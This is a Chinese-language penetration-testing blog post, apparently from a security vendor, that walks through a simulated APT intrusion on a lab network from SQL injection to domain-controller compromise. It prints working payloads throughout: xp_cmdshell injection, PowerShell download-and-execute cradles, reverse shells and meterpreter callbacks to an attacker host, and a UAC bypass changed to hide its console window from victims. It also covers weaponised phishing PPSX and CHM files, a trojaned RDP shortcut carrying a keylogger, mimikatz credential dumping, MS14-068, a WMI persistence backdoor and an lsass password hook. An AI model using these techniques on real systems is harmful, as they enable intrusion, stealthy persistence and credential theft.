APT攻擊方式花樣繁多,內(nèi)網(wǎng)和外網(wǎng)如何安全互通我研究最近的流行的APT攻擊方式,在本地搭建環(huán)境模擬一次簡單的APT攻擊,在模擬攻擊過程中發(fā)現(xiàn)網(wǎng)上公布的poc都會(huì)有大大小的缺陷,大多數(shù)poc執(zhí)行過程中都會(huì)彈出一閃而過的黑框框,我深入分析這些腳本,修改其中的代碼,使其執(zhí)行的過程中消除那個(gè)一閃而過的黑框框,從而讓中招的不會(huì)輕易產(chǎn)生懷疑。我研究的目的是暴露這樣的攻擊過程,讓更多的人了解這樣的攻擊過程,從而能夠研究出更有效的防御方法。
內(nèi)網(wǎng)的拓?fù)?
拓?fù)湔f明:
【1】10.101.101.0/24的網(wǎng)段模擬的是外網(wǎng)的地址
【2】192.168.101.0/24的網(wǎng)段模擬的是一個(gè)小型企業(yè)的內(nèi)網(wǎng)中的應(yīng)用服務(wù)器網(wǎng)絡(luò)
【3】192.168.111.0/24的網(wǎng)段模擬的是一個(gè)小型企業(yè)的內(nèi)網(wǎng)中的辦公網(wǎng)絡(luò)
【4】企業(yè)內(nèi)網(wǎng)可以無限制的訪問到外網(wǎng),但是外網(wǎng)無法訪問到企業(yè)內(nèi)網(wǎng)
【5】辦公網(wǎng)可以無限制的訪問到應(yīng)用服務(wù)器網(wǎng)絡(luò),但是應(yīng)用服務(wù)器網(wǎng)絡(luò)無法訪問到辦公網(wǎng)絡(luò)
【6】部分服務(wù)器打了全部的補(bǔ)丁,并且保持正常更新
日常掃描
發(fā)現(xiàn)此服務(wù)器開放80,82端口,是windows 2008系統(tǒng) 。在80端口發(fā)現(xiàn)有sql注入
首先看數(shù)據(jù)庫和數(shù)據(jù)庫所在的服務(wù)器版本:
http:/ /10.101.101.13/?page= 1and@@version> 0--
數(shù)據(jù)庫是2008r2的,數(shù)據(jù)庫所在的操作系統(tǒng)是win2008或者win7然后看數(shù)據(jù)庫:
http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--
這個(gè)語句測試數(shù)據(jù)庫的權(quán)限,發(fā)現(xiàn)有延時(shí),證明是有數(shù)據(jù)庫的權(quán)限是dba的權(quán)限然后用:
EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;
打開xp_cmdshell的限制,下面創(chuàng)建一個(gè)臨時(shí)表:
https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --
執(zhí)行ipconfig /all并將結(jié)果寫入新創(chuàng)建的臨時(shí)表中
https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --
讀取結(jié)果:
https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000))> 0--
看上去這個(gè)網(wǎng)站是站庫分離的網(wǎng)站。
然后用這種方法執(zhí)行“ping 10.101.101.16”,發(fā)現(xiàn)數(shù)據(jù)庫服務(wù)器可以通外網(wǎng),獲取這些信息之后,我用下面的指令刪除創(chuàng)建的臨時(shí)表
https://10.101.101.13/?page=1; droptabletemp; --
獲取到這么多信息了之后,在自己的機(jī)子上開一個(gè)web站點(diǎn),下載nishang的powershell的反彈腳本到自己的web服務(wù)器上:https://github.com/samratashok/nishang ,先在自己的主機(jī)上用nc -lvvp 8888監(jiān)聽8888端口,等待反彈連接 。
然后執(zhí)行
http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--
我們可以看到執(zhí)行成功
但是數(shù)據(jù)庫被降權(quán),權(quán)限不高,現(xiàn)在我把ms15-051的exp上傳到自己的服務(wù)器,用powershell的遠(yuǎn)程加載并執(zhí)行exe的腳本。執(zhí)行這個(gè)exp首先下載powershell的這個(gè)腳本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
然后執(zhí)行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA
可以看到提權(quán)沒有成功,并且換一個(gè)exp也沒有成功
所以下面上msf繼續(xù)探測 先開啟msf的監(jiān)聽功能
然后執(zhí)行
http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
這樣就從數(shù)據(jù)庫主機(jī)上反彈一個(gè)meterpreter連接了。
先用
useauxiliary/scanner/smb/smb_version
掃描smb來獲取內(nèi)網(wǎng)的信息
發(fā)現(xiàn)一個(gè)mail服務(wù)器,用
useauxiliary/scanner/portscan
掃描一下端口 ,發(fā)現(xiàn)開放了80端口,25,110端口
我用 use auxiliary/server/socks4a 代理進(jìn)內(nèi)網(wǎng)
在烏云鏡像里面沒有找到可以用的洞,但是在82端口發(fā)現(xiàn)了驚喜
通過弱口令輕松進(jìn)入到后臺(tái),發(fā)現(xiàn)一個(gè)可以生成靜態(tài)站的地方
把自定義靜態(tài)頁面存儲(chǔ)主路徑改成1.asp,然后編輯一篇文章,把木馬代碼放進(jìn)去,重新生成靜態(tài)頁面就可以getshell了
這個(gè)服務(wù)器的82端口不能執(zhí)行cmd,不支持aspx,不能跨目錄到umail,但是在一個(gè)奇怪的地方發(fā)現(xiàn)一個(gè)一份企業(yè)通訊錄,下載下來看到管理員郵箱
于是想到用偽造郵件的方法來釣管理員 首先參考兩個(gè)文章:
https://www.freebuf.com/vuls/144054.html
https://www.91ri.org/15506.html
>>>>
第一種方法
首先用CVE-2017-8570給的exp做一個(gè)釣魚用的ppsx 。由于原來的exp要用poershell下載一個(gè)shell.exe再執(zhí)行,這樣容易被殺軟發(fā)現(xiàn),并且原來的exp執(zhí)行反彈回來的shell權(quán)限不夠,所以要考慮繞過uac,讓管理員點(diǎn)擊惡意的ppsx后靜默反彈一個(gè)高權(quán)限的shell。如果用nishang給的Invoke-PsUACme.ps1,執(zhí)行之后會(huì)有一個(gè)一閃而過的黑框框,很讓人感到懷疑,去掉這個(gè)一閃而過的黑框框很簡單,因?yàn)槲矣胦obe的方法在win7上繞過uac,所以我在這里只介紹在這種條件下去掉黑框框的方法。首先去掉Invoke-PsUACme.ps1中第206行的“& $execpath”這個(gè)代碼,之后在調(diào)用Invoke-PsUACme的時(shí)候-payload參數(shù)寫上你要執(zhí)行的命令,最后用rundll32.exe靜默啟動(dòng)C:/Windows/System32/oobe/setupsqm.exe
IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")
換掉原來exp里面的powershell調(diào)用語句 其中uacchm.ps1的內(nèi)容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
而其中enc后面的數(shù)據(jù)是經(jīng)過下面的代碼編碼而成:
$command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
編碼的內(nèi)容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
chm.ps1的內(nèi)容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
改好的exp我放在了
https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py
用法是:先生成一個(gè)惡意的ppsx
python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc
在82端口開啟服務(wù)
pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16
Ps: 好多時(shí)候這個(gè)漏洞復(fù)現(xiàn)不成功,可以將查看 文件 -> 選項(xiàng),點(diǎn)擊 信任中心設(shè)置:
去掉這些勾就好
>>>>
第二種方法
這個(gè)比較簡單: 用easy chm做一個(gè)惡意的chm就好
其中我做的test.html放在了
https://github.com/niexinming/safe_tool/blob/master/test.html
Ps:由于PARAM的value的長度似乎有某種限制,所以我把
IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64
編碼之后放入PARAM的value中
兩個(gè)惡意的文件都制作好了,我現(xiàn)在用swaks偽造郵件把這兩個(gè)文檔發(fā)送出去
現(xiàn)在靜靜等待管理員點(diǎn)擊我們的惡意文件,啟動(dòng)msf的exploit/multi/handler模塊時(shí)候用exploit -j就可以讓msf在后臺(tái)等待管理員上鉤了。 這個(gè)時(shí)候發(fā)現(xiàn)一個(gè)管理員中了我們的木馬
由于bypass了uac,所以返回的是管理員的shell,我們可以用mimikatz來把密碼脫出來看看
由于管理員的機(jī)子不屬于任何域,也不是域賬號(hào)登陸,所以,我需要獲取內(nèi)網(wǎng)和外網(wǎng)如何安全互通他的在遠(yuǎn)程登陸其他機(jī)子的時(shí)候的用戶名和密碼,根據(jù) 《解析制作俄羅斯APT組織使用的快捷方式后門文件》這篇文件的介紹,我希望替換遠(yuǎn)程桌面的快捷方式來監(jiān)視管理員的行為。
思路是:
(1)正常啟動(dòng)c:windowssystem32mstsc.exe,避免管理員懷疑 ;
(2)由于原來的exp一啟動(dòng)就會(huì)有個(gè)黑框框一閃而過,要用rundll32的方式來消除黑框框,讓惡意代碼靜態(tài)啟動(dòng);
?。?)參數(shù)部分要先加260個(gè)空格字符后面接著為payload代碼,這樣減小管理員查看屬性的時(shí)候看到payload而產(chǎn)生懷疑 ;
?。?)參考 《滲透技巧——如何巧妙利用PSR監(jiān)控Windows桌面》 這個(gè)文章靜默啟動(dòng)一個(gè)桌面步驟記錄程序 ;
?。?)利用PowerSploit的Get-Keystrokes.ps1的腳本來記錄鍵盤記錄
?。?)記錄一分鐘后把記錄的文件隱藏起來
(7)啟動(dòng)metasploit的反彈連接
?。?)修改圖標(biāo)(關(guān)于C:Windowssystem32SHELL32.dll的圖標(biāo)id,有個(gè)網(wǎng)站給的很全面,可以修改傳遞給圖標(biāo)id來修改圖標(biāo))
我把修改好的代碼放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1,遠(yuǎn)程加載的惡意的powershell代碼放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好惡意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事情了。
>>>>
使用方法
看著已經(jīng)生成好了,看一下效果
看著比較正常,用起來也很正常,沒有卡頓,沒有一閃而過的黑框 。如果管理員用到遠(yuǎn)程登陸快捷方式去遠(yuǎn)程登陸服務(wù)器的話,在c:windowstemp目錄下會(huì)生成log.dll,這個(gè)里面記錄的是鍵盤記錄,cap.zip記錄的是關(guān)鍵步驟截屏
等管理員啟動(dòng)的惡意的遠(yuǎn)程登陸快捷方式之前,可以用管理員的密碼在應(yīng)用服務(wù)器網(wǎng)段內(nèi)用use auxiliary/scanner/smb/smb_login碰碰運(yùn)氣
看上去運(yùn)氣不佳啊
等了幾天,發(fā)現(xiàn)在這個(gè)目錄下有這個(gè)東西了
下載之后看到,鍵盤記錄:
下面是屏幕截圖記錄
這樣我就獲得了一個(gè)普通域賬號(hào)的賬戶名和密碼 。
下面試試MS14-068這個(gè)漏洞能不能成功,參考文章:
https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/用proxychain執(zhí)行g(shù)oldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻擊
Ps: 攻擊的時(shí)候如果dns在內(nèi)網(wǎng)要記得hosts的地址綁定
用得到的shell反彈一個(gè)poweshell出來到本地8888端口,如果你用下面的語句反彈的話將得到是一個(gè)32位的powershell:
powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888
這個(gè)時(shí)候你運(yùn)行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
系統(tǒng)會(huì)報(bào)錯(cuò),原因是你不能在32位的shell中運(yùn)行64位的程程序,這里涉及到一個(gè)64位系統(tǒng)文件重定向的問題,參考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。所以正確的做法是使用下面的代碼來反彈一個(gè)64位的powershell
C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888
這個(gè)時(shí)候你運(yùn)行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat
你就會(huì)得到域控管理員的密碼下面我要在域控上面安裝一個(gè)隱蔽的后門,參考文章:
https://www.moonsec.com/post-621.html
https://www.secpulse.com/archives/39555.html
https://wooyun.jozxing.cc/static/drops/tips-15575.html
我利用三好學(xué)生的方法制作一個(gè)wmi的后門,首先: 在自己的web目錄下寫一個(gè)mof.ps1,這個(gè)文件作用是用利用wmi的定時(shí)器的功能讓系統(tǒng)每分鐘執(zhí)行一次我們的payload,這個(gè)mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1。
我還寫了一個(gè)可以劫持進(jìn)程的powershell腳本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,這里我用每分鐘執(zhí)行payload的這個(gè)腳本,這里的我的payload我用一個(gè)反彈meterpreter連接的腳本,mof.txt里面的內(nèi)容:
<?xml version="1.0"?>
<![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]>
enc編碼前的內(nèi)容依然是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
執(zhí)行之后,每分鐘會(huì)反彈一個(gè)meterpreter的shell,而且重啟后依然會(huì)反彈
Ps: 這個(gè)wmi的后門我在win10上實(shí)驗(yàn)的時(shí)候,不能執(zhí)行payload,如果觸發(fā)到后門的觸發(fā)條件的話,win10會(huì)彈出openwith.exe這個(gè)進(jìn)程,界面上看就是這個(gè)
查了兩天資料也沒有找到一個(gè)正經(jīng)的解決方法,但是后來把openwith.exe換成cmd.exe就可以執(zhí)行payload了,因?yàn)閣in7和win2008沒有openwith,所以沒有遇到什么阻力就直接執(zhí)行payload了,但是win10和win8在正常情況下就會(huì)打開openwith這個(gè)后門的清理方式,可以參考https://www.52pojie.cn/thread-607115-1-1.html
我還想放置一個(gè)后門,在域控管理員改密碼的時(shí)候記錄他的新密碼,參考:https://wooyun.jozxing.cc/static/drops/tips-13079.html,注意他的腳本里面有一個(gè)選項(xiàng)可以從你的web服務(wù)器加載一個(gè)dll到對(duì)方主機(jī)內(nèi)存里面,這樣你把你的dll生成好之后就可以放在你的web服務(wù)器下面,在這個(gè)ps1最下面加入
Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass
就可以了,然后你把這個(gè)腳本的調(diào)用加入到chm.ps1里面:下面是改動(dòng)之后chm.ps1里面的內(nèi)容:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
這樣就可以任何時(shí)候每隔一分鐘的時(shí)候可以一方面反彈一個(gè)meterpreter的連接,還可以在域管理員改密碼的時(shí)候記錄他的新密碼
本文介紹了web滲透,郵件釣魚,后門部署等奇技淫巧,尤其針對(duì)消除各種一閃而過的cmd彈窗給出了我自己的解決思路,如果有問題大家可以在評(píng)論區(qū)留言,我們共同探討。
(來源:亞信安全)
評(píng)論列表
還沒有評(píng)論,快來說點(diǎn)什么吧~